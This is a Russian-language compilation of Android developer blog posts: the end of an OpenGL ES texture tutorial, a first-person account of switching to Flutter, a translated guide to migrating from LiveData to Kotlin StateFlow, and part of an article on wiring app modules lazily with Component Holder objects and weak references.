Не забывайте утилизировать растровое изображение, когда оно вам больше не нужно.

uTextureHandle = GLES30.glGetUniformLocation(program, FRAGMENT_SHADER_UNIFORM_TEXTURE)uTextureId = textureBitmap.toGlTexture(needToRecycle = true, GLES30.GL_TEXTURE0)

QuadRender.kt на GitHub

После этого, мы устанавливаем эту текстуру в качестве активной и видимой для фрагментного шейдера в QuadRender.onDrawFrame().

Полный код примера использования текстуры вы можете найти в этой ветке.

GLES30.glUniform1i(uTextureHandle, 0) // 0 as far as it's slot number 0// 0 если номер слота 0GLES30.glActiveTexture(GLES30.GL_TEXTURE0) // тот же слот текстуры, который мы использовали при инициализацииGLES30.glBindTexture(GLES30.GL_TEXTURE_2D, uTextureId)

QuadRender.kt на GitHub

Ссылки

Исходный код этой статьи можно найти в моем репозитории.

С библиотекой ShaderView с помощью дружественного высокоуровневого API можно познакомиться здесь.


Узнать подробнее о курсах: "Android Developer. Basic" / "Android Developer. Professional".

Также предлагаем посмотреть вебинары:

1)
Рисуем свой график котировок в Android:
- Рассмотрим основные инструменты для рисования
- Изучим возможности классов Canvas, Path, Paint
- Нарисуем кастомизируемый график котировок и добавим в него анимаций

2)
Крестики-нолики на минималках Игра на Android менее чем за 2 часа, использующийся язык Kotlin.

Подробнее..

Как я хотел поработать нативным Android разработчиком, но устроился Flutter разрабом

25.05.2021 18:15:50 | Автор: admin

Небольшое вступление

После праздничных каникул (это было в январе) я решил немного поработать Android разработчиком на пол ставки, дабы совмещать работу с учебой.

Ещё в декабре я познакомился с главным программистом IT-компании, которая находится в Сочи.

Я не буду оглашать имя компании в целях корпоративной тайны, это не суть. Компания довольно молодая, и поэтому использует более новые технологии. Я был удивлен, когда мне ответили, что им нужен Flutter разработчик, а не Java/Kotlin.

Так я и познакомился с Flutter.

Первые впечатления

Я был совершенно поражен когда впервые увидел сгенерированный проект мобильного приложения на Flutter. Все совершенно отличалось от обычной нативной разработки под Android.

Первое что бросалось в глаза - это совершенно другой язык, Dart.

Я сразу начал штудировать этот раздел и узнал, что Flutter - это Framework с декларативным стилем написания UI.

Мне никогда не был понятен данный стиль написания кода. Когда-то в прошлом я решил освоить React JS, но не смог его одолеть и забросил (в основном из-за глупости и лени). Зачем вообще декларативный стиль программирования? Есть же интуитивно понятно императивный: создал объект кнопки, добавил в родительский элемент и т.д.

Когда я увлекся Flutter, то осознал и понял главные преимущества такого подхода:

  • Меньше кода

  • Интуитивно понятный

  • Ускоренная разработка

  • Мощность

Возможно это произвучит чересчур громко. Все эти преимущества в той или иной мере правдивы.

Вот так, к примеру, выглядит разметка UI приложения, сгенерированного Android Studio:

Scaffold(      appBar: AppBar(        title: Text("Counter App"),      ),      body: Center(child: Column(        mainAxisAlignment: MainAxisAlignment.center,        children: [      Text("You have pushed the button this many times: "),      SizedBox(height: 10),        Text("$counter",           style: Theme.of(context).textTheme.headline4,          )    ],      ),),  floatingActionButton: FloatingActionButton(        onPressed: () { setState(() => counter = counter + 1); },    child: Icon(Icons.add),      ),);

Первая важная особенность такого кода: большое количество скобок и запятых, как бы смешно это не звучало)))

Вторая: большая гибкость и мощность, вы можно по-разному вкладывать друг в друга элементы и комбинировать их, создавая более сложный UI

Третья: легко читаем и имеет возможность разбивки кода на отдельные функции. Конечно довольно сложный интерфейс выглядит громоздко и не совсем разборчиво при таком стиле и поэтому в таких случаях необходимо разделять UI на отдельные функции.

И наконец, Dart имеет интересную фишку: можно поставить запятую в конце последнего параметра функции или конструктура класса, поэтому вы можете не париться по поводу последней запятой в вашем коде, когда делает разметку UI или передаете параметры функции.

Как вы уже догадались в любой технологии найдется уязвимое место. Какие оптимизации бы не сделал Flutter разработчик, его приложение все равно будет проигрывать в скорости работы приложения, написаного на Java / Kotlin - это 100% очевидно (данная проблема проявляется не во всех ситуациях).

Первое приложение

Перед тем, как получить работу, мне дали тестовое задание: сделать приложение, которое будет хранить данные об автомобилях в локальной базе данных.

Я начал курить flutter.dev, прочитал довольно много полезных материалов на данную тему.

В результате, я решил использовать обертку sqlite для Android и iOS - sqflite.

Сразу стоит отметить, что подключение большинства библиотек (pub-пакетов) осуществляется через специальный файл pubspec.yaml, в отличие от build.gradle (Android).

Все пакеты Dart (включая подмножество Flutter) располагаются на сайте pub.dev

Как я позже узнал, Flutter позволяет использовать нативный код Android и iOS, что меня очень сильно порадовало.

Дальнейшие разработки

C февраля я был переведен на первый рабочий проект.

Я все больше стал понимать синтаксис языка Dart. Для тех, кто хочет довольно быстро с ним познакомиться покурите Dart Tour

В многих проектах, даже довольно маленьких всегда есть какие-либо тяжелые задачи, которые могут затормозить отрисовку UI приложения (кнопок, меню и т.д.). Например: загрузка файла из сети, или запрос в базу данных и т.д.

Поэтому необходимо использовать либо Thread'ы (Java), либо Coroutines (Kotlin) в нативной разработке под Android

В Flutter это решается довольно просто, использованием асинхронных функций:

fun getArticles() async {  final response = await http.get("https://xxx.ru/rest/getArticles");  final List<Article> articles = decodeArticles(response.body);setState(() {    this.articles = articles;  });}

Возможно не совсем понятно для незнакомых с Flutter и декларативным стилем написания кода, вызов функции setState.

setState является функцией высшего порядка (Dart поддерживает функциональное программирование) и принимает другую функцию, как входной параметр.

Логика setState довольно простая: сначала выполняем функцию, которая была передана в качестве параметра, а затем перерисовываем все компоненты Flutter приложения. (на самом деле не все, Flutter сам решает, что нужно перерисовать, а что нет, дабы обеспечить эффективность работы).

В этом и состоит один из важнейших принципов декларативного подхода Flutter - принципа состояние.

Более подробно о состоянии: flutter.dev

При реализации моего первого рабочего приложения на Flutter я впервые столкнулся с проблемой архитектуры.

По большей части все данные Flutter приложения - это состояние (на момент выполнения приложения несомненно).

И поэтому в проектировании архитектуры Flutter приложения нужно руководствоваться одним из подходов по управления состоянием.

Я выбрал provider и не пожалел об этом. Данный подход довольно простой и изящный.

В апреле мой первый более менее рабочий проект был опубликован в Google Play и Apple Store

Мое личное мнение о Flutter

Я считаю, что Flutter - довольно неплохой кроссплатформенный framework для мобильной разработки, по моему мнению он не уступает своим конкурентам, таким как React Native например.

Большинство коммерческих проектов вполне могут быть реализованы на Flutter.

Основные преимущества Flutter по моему мнению:

  • Довольно мощный UI framework, позволяет сильно кастомизировать внешний вид приложения. Это также является важнейшим преимуществом по отношению к нативной Android разработке, т.к. создание кастомных View и написание дополнительного кода является не одной из самых простых задач;

  • Быстрая разработка - т.к. Flutter является кроссплатформенным инструментом для разработки, вам не нужно писать отдельно код для iOS и Android, что действительно повышает скорость разработки, но не во всех случаях работу самого приложения :)

  • Декларативный стиль обладает некоторыми преимуществами над императивным, как было отмечено выше

  • Функциональность - Flutter имеет огромное количество полезных компонентов, а также pub-пакетов, которые не раз меня выручали). Сейчас Flutter продолжает расти, в марте прошел Flutter Engage 2021

Причины по которым вы не должны использовать Flutter:

  • Высокая производительность - если каждая доля миллисекунды вам дорога, то несомненно в таком случае вам не стоит использовать Flutter

  • Кастомная отрисовка компонентов

  • Какие-либо нестандарные решения

  • Низкоуровневая работа с компонентами мобильной ОС

Заключение

Статья носит субъективное мнение и поэтому я могу ошибаться в некоторых, а может и во всех отношениях.

Моей главной целью было выразить мой скромный опыт разработки на Flutter и поделиться своим мнением и некоторыми замечаниями.

В конце, хотелось бы отметить, что Flutter имеет все нужные обстоятельства для будущего развития и, возможно даже перерастет другие подходы кроссплатформенной разработки (React Native), если ещё не перерос.

Полезные ссылки:

Подробнее..

Перевод Миграция с LiveData на Kotlins Flow

08.06.2021 16:18:29 | Автор: admin

LiveData была нужна нам еще в 2017 году. Паттерн наблюдателя облегчил нам жизнь, но такие опции, как RxJava, в то время были слишком сложными для новичков. Команда Architecture Components создала LiveData: очень авторитетный класс наблюдаемых хранилищ данных, разработанный для Android. Он был простым, чтобы облегчить начало работы, а для более сложных случаев реактивных потоков рекомендовалось использовать RxJava, используя преимущества интеграции между ними.

DeadData?

LiveData по-прежнему остается нашим решением для Java-разработчиков, новичков и простых ситуаций. В остальном, хорошим вариантом является переход на Kotlin Flows. Flows (потоки) все еще имеют крутую кривую обучения, но они являются частью языка Kotlin, поддерживаемого Jetbrains; кроме того, на подходе Compose, который хорошо сочетается с реактивной моделью.

Мы уже говорили об использовании Flows для соединения различных частей вашего приложения, за исключением представления и ViewModel. Теперь, когда у нас есть более безопасный способ сбора потоков из пользовательских интерфейсов Android, мы можем создать полное руководство по миграции.

В этом посте вы узнаете, как отобразить Flows в представление, как собирать их, и как точно настроить под конкретные нужды.

Flow: простые вещи труднее, а сложные легче

LiveData выполняла одну вещь и делала это хорошо: она показывала данные, одновременно кэшируя последние значения и учитывая жизненные циклы Android. Позже мы узнали, что она также может запускать корутины и создавать сложные преобразования, но это требовало немного больше усилий.

Давайте рассмотрим некоторые паттерны LiveData и их эквиваленты Flow:

#1: Показ результата однократной операции с модифицированным держателем данных

Это классический паттерн, в котором вы мутируете держатель состояния с результатом выполнения корутины:

Показ результата однократной операции с модифицированным (Mutable) держателем данных (LiveData)Показ результата однократной операции с модифицированным (Mutable) держателем данных (LiveData)
<!-- Copyright 2020 Google LLC.   SPDX-License-Identifier: Apache-2.0 -->class MyViewModel {    private val _myUiState = MutableLiveData<Result<UiState>>(Result.Loading)    val myUiState: LiveData<Result<UiState>> = _myUiState    // Load data from a suspend fun and mutate state    init {        viewModelScope.launch {             val result = ...            _myUiState.value = result        }    }}

Чтобы сделать то же самое с потоками, мы используем модифицированный StateFlow:

Показ результата однократной операции с модифицированным держателем данных (StateFlow)Показ результата однократной операции с модифицированным держателем данных (StateFlow)
class MyViewModel {    private val _myUiState = MutableStateFlow<Result<UiState>>(Result.Loading)    val myUiState: StateFlow<Result<UiState>> = _myUiState    // Load data from a suspend fun and mutate state    init {        viewModelScope.launch {             val result = ...            _myUiState.value = result        }    }}

StateFlow это особый вид SharedFlow (который является особым типом Flow), наиболее близкий к LiveData:

  • У него всегда есть значение.

  • У него только одно значение.

  • Он поддерживает несколько наблюдателей (поэтому поток является общим).

  • Он всегда воспроизводит последнее значение при подписке, независимо от количества активных наблюдателей.

При отображении состояния пользовательского интерфейса для представления используйте StateFlow. Это безопасный и эффективный наблюдатель, предназначенный для хранения состояния пользовательского интерфейса.

#2: Показ результата однократной операции

Это эквивалент предыдущего сниппета, демонстрирующий результат вызова корутины без модифицированного теневого свойства.

В LiveData мы использовали для этого конструктор корутин liveData:

Показ результата однократной операции (LiveData)Показ результата однократной операции (LiveData)
class MyViewModel(...) : ViewModel() {    val result: LiveData<Result<UiState>> = liveData {        emit(Result.Loading)        emit(repository.fetchItem())    }}

Поскольку держатели состояния всегда имеют значение, хорошей идеей будет обернуть наше UI-состояние в какой-нибудь класс Result, который поддерживает такие состояния, как Loading, Success и Error.

Эквивалент Flow немного сложнее, потому что вам придется выполнить некоторую настройку:

Показ результата однократной операции (StateFlow)Показ результата однократной операции (StateFlow)
class MyViewModel(...) : ViewModel() {    val result: StateFlow<Result<UiState>> = flow {        emit(repository.fetchItem())    }.stateIn(        scope = viewModelScope,         started = WhileSubscribed(5000), // Or Lazily because it's a one-shot        initialValue = Result.Loading    )}

stateIn это оператор Flow, который преобразует его в StateFlow. Давайте пока доверимся этим параметрам, так как позже нам понадобится более сложная информация для правильного объяснения.

#3: Однократная загрузка данных с параметрами

Допустим, вы хотите загрузить некоторые данные, которые зависят от ID пользователя, и вы получаете эту информацию от AuthManager, который показывает Flow:

Однократная загрузка данных с параметрами (LiveData)Однократная загрузка данных с параметрами (LiveData)

С помощью LiveData можно сделать примерно следующее:

class MyViewModel(authManager..., repository...) : ViewModel() {    private val userId: LiveData<String?> =         authManager.observeUser().map { user -> user.id }.asLiveData()    val result: LiveData<Result<Item>> = userId.switchMap { newUserId ->        liveData { emit(repository.fetchItem(newUserId)) }    }}

switchMap это преобразование, тело которого выполняется, а результат подписывается при изменении userId.

Если нет причин для того, чтобы userId был LiveData, лучшей альтернативой этому является объединение потоков с Flow и окончательное преобразование полученного результата в LiveData.

class MyViewModel(authManager..., repository...) : ViewModel() {    private val userId: Flow<UserId> = authManager.observeUser().map { user -> user.id }    val result: LiveData<Result<Item>> = userId.mapLatest { newUserId ->       repository.fetchItem(newUserId)    }.asLiveData()}

Выполнение этого действия с помощью Flows выглядит очень похоже:

Однократная загрузка данных с параметрами (StateFlow)Однократная загрузка данных с параметрами (StateFlow)
class MyViewModel(authManager..., repository...) : ViewModel() {    private val userId: Flow<UserId> = authManager.observeUser().map { user -> user.id }    val result: StateFlow<Result<Item>> = userId.mapLatest { newUserId ->        repository.fetchItem(newUserId)    }.stateIn(        scope = viewModelScope,         started = WhileSubscribed(5000),         initialValue = Result.Loading    )}

Обратите внимание, что если вам нужна большая гибкость, вы также можете использовать transformLatest и emit элементы в явном виде:

val result = userId.transformLatest { newUserId ->        emit(Result.LoadingData)        emit(repository.fetchItem(newUserId))    }.stateIn(        scope = viewModelScope,         started = WhileSubscribed(5000),         initialValue = Result.LoadingUser // Note the different Loading states    )

#4: Наблюдение за потоком данных с параметрами

Теперь сделаем пример более реактивным. Данные не извлекаются, а наблюдаются, поэтому мы автоматически распространяем изменения в источнике данных на пользовательский интерфейс.

Продолжая наш пример: вместо вызова fetchItem на источнике данных мы используем гипотетический оператор observeItem, который возвращает Flow.

С помощью LiveData вы можете преобразовать поток в LiveData и все обновления emitSource:

Наблюдение за потоком с параметрами (LiveData)Наблюдение за потоком с параметрами (LiveData)
class MyViewModel(authManager..., repository...) : ViewModel() {    private val userId: LiveData<String?> =         authManager.observeUser().map { user -> user.id }.asLiveData()    val result = userId.switchMap { newUserId ->        repository.observeItem(newUserId).asLiveData()    }}

Или, лучше всего, объединить оба потока с помощью flatMapLatest и преобразовать только выход в LiveData:

class MyViewModel(authManager..., repository...) : ViewModel() {    private val userId: Flow<String?> =         authManager.observeUser().map { user -> user?.id }    val result: LiveData<Result<Item>> = userId.flatMapLatest { newUserId ->        repository.observeItem(newUserId)    }.asLiveData()}

Имплементация Flow похожа, но в ней нет преобразований LiveData:

Наблюдение за потоком с параметрами (StateFlow)Наблюдение за потоком с параметрами (StateFlow)
class MyViewModel(authManager..., repository...) : ViewModel() {    private val userId: Flow<String?> =         authManager.observeUser().map { user -> user?.id }    val result: StateFlow<Result<Item>> = userId.flatMapLatest { newUserId ->        repository.observeItem(newUserId)    }.stateIn(        scope = viewModelScope,         started = WhileSubscribed(5000),         initialValue = Result.LoadingUser    )}

StateFlow будет получать обновления каждый раз, когда меняется пользователь или изменяются его данные в репозитории.

#5 Объединение нескольких источников: MediatorLiveData -> Flow.combine

MediatorLiveData позволяет вам наблюдать за одним или несколькими источниками обновлений (наблюдаемыми LiveData) и что-то делать, когда они получают новые данные. Обычно вы обновляете значение MediatorLiveData:

val liveData1: LiveData<Int> = ...val liveData2: LiveData<Int> = ...val result = MediatorLiveData<Int>()result.addSource(liveData1) { value ->    result.setValue(liveData1.value ?: 0 + (liveData2.value ?: 0))}result.addSource(liveData2) { value ->    result.setValue(liveData1.value ?: 0 + (liveData2.value ?: 0))}

Эквивалент Flow намного проще:

val flow1: Flow<Int> = ...val flow2: Flow<Int> = ...val result = combine(flow1, flow2) { a, b -> a + b }

Можно также использовать функцию combineTransform или zip.

Настройка открытого StateFlow (оператор stateIn)

Ранее мы использовали stateIn для преобразования регулярного потока в StateFlow, но это требует некоторой настройки. Если вы не хотите вдаваться в подробности прямо сейчас и вам просто нужно копировать-вставлять, я рекомендую использовать эту комбинацию:

val result: StateFlow<Result<UiState>> = someFlow    .stateIn(        scope = viewModelScope,         started = WhileSubscribed(5000),         initialValue = Result.Loading    )

Однако если вы не уверены в этом, казалось бы, случайном 5-секундном параметре started, читайте дальше.

StateIn имеет 3 параметра (из документации):

@param scope the coroutine scope in which sharing is started.@param started the strategy that controls when sharing is started and stopped.@param initialValue the initial value of the state flow.This value is also used when the state flow is reset using the [SharingStarted.WhileSubscribed] strategy with the `replayExpirationMillis` parameter.

started может принимать 3 значения:

  • Lazily: начать, когда появится первый подписчик, и остановить, когда scope будет отменен.

  • Eagerly: начать немедленно и остановить, когда scope будет отменен.

  • WhileSubscribed: Это сложно.

Для одноразовых операций вы можете использовать Lazily или Eagerly. Однако, если вы наблюдаете за другими потоками, вам следует использовать WhileSubscribed для выполнения небольших, но важных оптимизаций, как описано ниже.

Стратегия WhileSubscribed

WhileSubscribed отменяет восходящий поток, когда нет коллекторов. StateFlow, созданный с помощью stateIn, передает данные в View, но он также наблюдает за потоками, поступающими из других слоев или приложения (восходящий поток). Поддержание этих потоков активными может привести к напрасной трате ресурсов, например, если они продолжают считывать данные из других источников, таких как подключение к базе данных, аппаратные датчики и т.д. Когда ваше приложение переходит в фоновый режим, будет хорошо, если вы остановите эти корутины.

WhileSubscribed принимает два параметра:

public fun WhileSubscribed(    stopTimeoutMillis: Long = 0,    replayExpirationMillis: Long = Long.MAX_VALUE)

Таймаут остановки

Из документации:

stopTimeoutMillis настраивает задержку (в миллисекундах) между исчезновением последнего абонента и остановкой восходящего потока. По умолчанию она равна нулю (остановка происходит немедленно).

Это полезно, поскольку вы не хотите отменять восходящие потоки, если представление перестало воспринимать данные на долю секунды. Это происходит постоянно например, когда пользователь поворачивает устройство и представление разрушается и воссоздается в быстрой последовательности.

Решение в конструкторе корутины liveData заключалось в добавлении задержки в 5 секунд, после которой корутина будет остановлена, если нет подписчиков. WhileSubscribed(5000) делает именно это:

class MyViewModel(...) : ViewModel() {    val result = userId.mapLatest { newUserId ->        repository.observeItem(newUserId)    }.stateIn(        scope = viewModelScope,         started = WhileSubscribed(5000),         initialValue = Result.Loading    )}

Этот подход отвечает всем требованиям:

  • Когда пользователь отправляет ваше приложение в фоновый режим, обновления, поступающие с других уровней, прекращаются через пять секунд, что позволяет экономить заряд батареи.

  • Последнее значение все еще будет кэшироваться, чтобы, когда пользователь вернется к нему, представление сразу же получило данные.

  • Подписки перезапускаются, и новые значения будут поступать, обновляя экран, когда они доступны.

Истечение срока воспроизведения

replayExpirationMillis настраивает задержку (в миллисекундах) между завершением работы программы совместного доступа и сбросом кэша воспроизведения (что делает кэш пустым для оператора shareIn и возвращает кэшированное значение к исходному initialValue для stateIn). По умолчанию он равен Long.MAX_VALUE (кэш воспроизведения сохраняется постоянно, буфер никогда не сбрасывается). Используйте нулевое значение для немедленного истечения срока действия кэша.

Наблюдение StateFlow из представления

Как мы уже видели, для представления очень важно сообщить StateFlows во ViewModel, что они больше не прослушиваются. Однако, как и во всем, что связано с жизненными циклами, все не так просто.

Для того чтобы собрать поток, вам нужна корутина. Действия и фрагменты предлагают множество конструкторов корутин:

  • Activity.lifecycleScope.launch: запускает корутину немедленно и отменяет ее при завершении активности.

  • Fragment.lifecycleScope.launch: немедленно запускает корутину и отменяет ее при завершении фрагмента.

LaunchWhenStarted, launchWhenResumed...

Специализированные версии launch, называемые launchWhenX, будут ждать, пока lifecycleOwner находится в состоянии X, и приостановят выполнение корутины, когда lifecycleOwner упадет ниже состояния X. Важно отметить, что они не отменяют выполнение программы до тех пор, пока жизненный цикл не будет закончен.

Сбор потоков с помощью launch/launchWhenX небезопасенСбор потоков с помощью launch/launchWhenX небезопасен

Получение обновлений, когда приложение находится в фоновом режиме, может привести к сбоям, что решается приостановкой сбора в View. Однако восходящие потоки остаются активными, пока приложение находится в фоновом режиме, что может привести к трате ресурсов.

Это означает, что все, что мы делали до сих пор для настройки StateFlow, было бы совершенно бесполезно; однако в нашем распоряжении есть новый API.

lifecycle.repeatOnLifecycle на помощь

Этот новый конструктор корутин (доступный в lifecycle-runtime-ktx 2.4.0-alpha01) делает именно то, что нам нужно: он запускает корутины в определенном состоянии и останавливает их, когда уровень жизненного цикла опускается ниже этого состояния.

Различные методы сбора потокаРазличные методы сбора потока

Например, во Фрагменте:

onCreateView(...) {    viewLifecycleOwner.lifecycleScope.launch {        viewLifecycleOwner.lifecycle.repeatOnLifecycle(STARTED) {            myViewModel.myUiState.collect { ... }        }    }}

Сбор начнется, когда представление фрагмента будет STARTED, продолжится до RESUMED и остановится, когда оно вернется к STOPPED. Читайте об этом в статье Более безопасный способ сбора потоков из пользовательских интерфейсов Android.

Сочетание API repeatOnLifecycle с приведенным выше руководством по StateFlow обеспечит вам наилучшую производительность при рациональном использовании ресурсов устройства.

StateFlow выставляется с помощью WhileSubscribed(5000) и собирается с помощью repeatOnLifecycle(STARTED)StateFlow выставляется с помощью WhileSubscribed(5000) и собирается с помощью repeatOnLifecycle(STARTED)

Предупреждение: Поддержка StateFlow, недавно добавленная в Data Binding, использует launchWhenCreated для сбора обновлений, и она начнет использовать repeatOnLifecycle` вместо этого, когда достигнет стабильности.

Для Data Binding вы должны использовать Flows везде и просто добавить asLiveData(), чтобы отобразить их в представлении. Привязка данных будет обновлена, когда lifecycle-runtime-ktx 2.4.0 станет стабильным.

Резюме

Лучшим способом предоставления данных из ViewModel и сбора их из представления является:

  • Выставить StateFlow, используя стратегию WhileSubscribed, с таймаутом. [пример]

  • Собирать с помощью repeatOnLifecycle. [пример].

Любая другая комбинация будет поддерживать восходящие потоки активными, расходуя ресурсы:


Перевод материала подготовлен в рамках курса "Android Developer. Basic". Если вам интересно узнать о курсе больше, приходите на день открытых дверей онлайн. На нем вы сможете узнать подробнее о программе и формате обучения, познакомиться с преподавателем.

Подробнее..

Ленивая склейка модулей Android-приложения

05.01.2021 16:09:52 | Автор: admin

Тема многомодульности уже давно витает в среде Android-разработчков. За много лет проб и ошибок, выработались определённые подходы к разбиению приложения на модули. В целом о принципах разбиения на модули есть хорошая статья Андрея Берюхова: http://personeltest.ru/aways/habr.com/ru/company/kaspersky/blog/520766/

В статье Андрея хорошо описано как разбивать приложение на модули, что должны делать модули и как они должны друг от друга зависеть. Собственно, такой же подход к разбиению предполагается и в текущей статье. Для лучшего понимания как начать писать модули или начать делить приложение на модули - ознакомьтесь со статьёй Андрея. Отличие текущей статьи от статьи Андрея - подход к склейке модулей.

Кратко повторим основные принципы деления на модули из статьи Андрея.

  1. Дробить приложение на модули лучше по фичам. В отдельных случаях можно в рамках одной фичи делить на модули по слоям.

  2. У модуля должен быть свой чёткий интерфейс. Т.е. просто выносить классы в модуль и использовать их напрямую как будто они не в другом модуле - бессмысленно. Исключение - модули типа UI-Kit (с независимыми View и ресурсами) или чисто утилитарные модули.

  3. Интерфейсы модулей должны быть отвязаны от конкретного DI. Если говорить про dagger, то у каждого модуля должен быть свой внутренний граф зависимостей, а наружу уже должен предоставляться обычный интерфейс. Плюс часто из уст разработчиков можно услышать, что сабкомпоненты dagger - зло. И Android Injections - зло.

Из пунктов 2-3 вытекает необходимость задуматься о склейке модулей. Т.е. как в итоге пользоваться этим интерфейсом, вынесенным в другой модуль? Как его предоставлять другим модулям? И при этом не зависеть от конкретных DI-фреймворков.

Один из подходов, отвечающих вышеупомянутым требованиям - подход с использованием паттерна Component Holder.

Что такое Component Holder? Для начала определимся с терминологией.

FeatureApi - интерфейс, который предоставляется модулем наружу и содержит конкретные интерфейсы для использования другими модулями. FeatureApi не содержит методов, которые что-то выполняют. В нём только getterы других интерфейсов. Например, интерфейс PurchaseFeatureApi.

API модуля - набор конкретных интерфейсов модуля для использования другими модулями. Т.е. это те интерфейсы, которые можно получить из FeatureApi. Например, в PurchaseFeatureApi могут быть getterы интерфейсов PurchaseProcessor, PurchaseStatusProvider и т.п.

FeatureDependencies - интерфейс, который предоставляется модулем наружу и содержит конкретные интерфейсы для использования данным модулем. FeatureDependencies не содержит методов, которые что-то выполняют. В нём только getterы других интерфейсов. Например, интерфейс PurchaseFeatureDependencies.

Зависимости модуля - набор конкретных интерфейсов модуля для использования данным модулем. Т.е. это те интерфейсы, которые модуль получает из FeatureDependencies. Например, в интерфейсе PurchaseFeatureDependencies могут быть getterы интерфейсов PurchaseGooglePlayRepository, PurchaseSettingsRepository и т.п.

Component Holder - это глобальный объект (синглтон), через который можно получить ссылку на FeatureApi и предоставить модулю зависимости через FeatureDependencies.

Один из вариантов реализации Component Holder описан в статье Андрея. Давайте посмотрим на него.

Здесь есть функция init(), куда передаются FeatureDependencies данного компонента и которая создаёт компонент. Есть функция get(), которая возвращает FeatureApi. Есть функция reset(), которую нужно звать, когда компонент не нужен. В имплементации хранится ссылка на компонент. Вызов reset() зануляет её.

Однако, при использовании данного подхода возникают вопросы. Например:

  • Если компонент используется несколькими другими компонентами, то если один из них позовёт reset(), то что будет с другим? Возможно, тут стоит добавить подсчёт ссылок и занулять компонент в reset() только когда счётчик зануляется.

  • Когда и где нужно звать reset()? Для компонентов, предоставляющих Activity/Fragment, наверное, при окончательном уничтожении. А что с общими или утилитарными компонентами? Возможно, пользователь модуля никогда не позовёт reset(). Так, на всякий случай. Получаем бесконечно живущие компоненты. Которые ещё и держат свои зависимости.

Ок, мы можем себя обезопасить, если таки добавим подсчёт ссылок в Component Holder. Тогда reset() будет вызывать не страшно. Но опять же есть риск это не сделать.

В итоге этот подход с init()/reset() и подсчётом ссылок чем-то напоминает работу со ссылками в языках со сборщиком мусора, как в Java.

Android использует Java Virtual Machine, и поэтому возникает вопрос - а не могли бы мы не требовать явных вызовов reset() и чтобы компонент сам освобождался, когда он реально не нужен? Т.е. когда на него никто не ссылается и он автоматически будет уничтожен JVM? Ответ на этот вопрос - ДА. В этом нам поможет Component Holder с ленивой инициализацией.

Component Holder с ленивой инициализацией

Посмотрим на интерфейс Component Holder с ленивой инициализацией.

В интерфейсе ComponentHolder есть поле dependencyProvider, в который нужно записать провайдер FeatureDependencies. Почему провайдер, а не просто объект FeatureDependencies? Мы не хотим, чтобы ссылки на зависимости сохранились в Component Holder. Иначе они не освободятся, т.к. конкретный Component Holder - глобальный объект.

Функция get() возвращает FeatureApi. Другой модуль зовёт get() для получения API модуля.

Рассмотрим реализацию конкретного Component Holder. В реальности, этот код не нужно дублировать во все фичи, лучше сделать делегат. В тестовом примере так и сделано. Для удобства чтения, ниже приведён полный код реализации конкретного Component Holder с ленивой инициализацией.

Прежде всего, чтобы компонент мог сам по себе удаляться, мы не должны хранить на него ссылку в Component Holder. Однако, мы хотим получать на него ссылку, если он уже создан. В этом нам поможет WeakReference. Ссылка на компонент хранится в приватном поле componentWeakRef.

Далее, нам нужно предоставить ссылку на сам компонент внутри модуля, т.к. компонент может провайдить внутренние интерфейсы модуля и нам может понадобиться делать inject зависимостей внутри модуля. И также нужно предоставить наружу FeatureApi. Предполагаем, что компонент реализует FeatureApi (dagger тогда вообще из коробки создаёт getterы). Поэтому в Component Holder две функции: getComponent(), которая доступна только внутри модуля (internal) и get(), которая доступна извне и просто вызывает getComponent().

Рассмотрим подробнее получение ссылки на компонент (при вызове get() или getComponent()).

При каждом вызове она проверяет, что dependencyProvider задан. Мы не сможем инициализировать компонент, если dependencyProvider не задан, поэтому напомним об этом исключением.

Далее, берём WeakReference на компонент. Если она не инициализирована, то создаём компонент, запоминаем его и возвращаем ссылку на него.

Компонент будет жить, пока на него ссылаются другие компоненты. Сам Component Holder не аффектит время жизни ссылки на компонент.

Если какой-то другой компонент так же захочет этот компонент, то он просто получит уже существующую ссылку на него. Или создаст его заново, если он уже был освобождён.

Как этим всем дальше пользоваться? Очень просто.

В Application.onCreate() в самом начале проставляем dependencyProvider во все Component Holder. Не важно в каком порядке, т.к. они будут вызываться лениво.

Далее показан код из Applicatioin.onCreate(). Код забегает вперёд - тут уже используется DependencyHolder, о котором будет рассказано ниже. Сейчас важно понимать, что внутри dependencyProvider происходит вызов get() для всех используемых компонентов.

Рассмотрим происходящее на схеме.

Пусть есть модуль Feature1, который использует некоторые интерфейсы из модулей Feature2 и Feature3:

Вызов Feature1ComponentHolder.get() будет происходить так:

При первом использовании любого компонента (вызове get() или getComponent()), он по цепочке проинициализирует все нужные ему компоненты, если они ещё не были проинициализированы, и потом проинициализируется сам.

Выглядит всё очень интересно. Но и у этого подхода есть свои проблемы. Проблемы вытекают из того, что мы храним WeakReference на компонент, а значит компонент живёт, только пока на него кто-то ссылается. Отсюда следует, что компонент может внезапно помереть и от этого могут возникнуть неприятности.

Рассмотрим пример.

Пусть есть два модуля: module_foo и module_bar. Пусть module_foo предоставляет интерфейс, который предполагает наличие State в имплементации.

В module_bar создаётся объект интерфейса FooWithState из module_foo и он потом используется. Но! Компонент Foo, который предоставляет FooWithState, тут же погибает, т.к. ссылка на него нигде не сохранилась. Foo отдал свой State и погиб. Печально. В банальном случае простого State типа обычной строки или т.п., тут, возможно, ничего страшного. Но, теоретически, State может быть изменяемым, либо это может быть наблюдаемый State, например, subject в терминах RxJava или channel в терминах корутин. Тогда может случиться так, что компонент наблюдает один subject/channel, а эвенты кидаются в другой.

Ещё мы, скорее всего, хотим чтобы компонент жил, пока мы что-то используем из него. Представим ситуацию, что в API модуля есть интерфейсы interface1 и interface2. Мы получили из компонента ссылку на interface1, компонент тут же погиб. Потом мы берём из того же компонента ссылку на interface2, но он уже будет создан из другого инстанса компонента. Если имплементации интерфейсов 1 и 2 как-то связаны, то пользователи компонента могут столкнуться с неожиданными проблемами.

Что же делать? Очевидно, нужно прикопать ссылку на компонент Foo в Bar. Сформулируем в виде правила: компонент должен прикапывать себе ссылки на все используемые компоненты. А как за этим уследить? Хотелось бы сделать так, чтобы нельзя было создать компонент, если в него не прикопаны ссылки на используемые компоненты. Самый простой вариант - добавить поле в BaseFeatureDependencies на объект, который держит ссылки на используемые компоненты. В этом нам поможет новая сущность - Dependency Holder.

Dependency Holder

Итак, мы договорились, что в BaseFeatureDependencies будет ссылка на объект Dependency Holder, который содержит ссылки на FeatureApi всех своих используемых компонентов. Важно, он держит ссылки именно на FeatureApi используемых компонентов, т.к. в итоге FeatureApi - это наша слабая ссылка на компонент и именно её нужно прикопать для всех используемых компонентов.

Итак, в BaseFeatureDependencies есть ссылка на dependency holder:

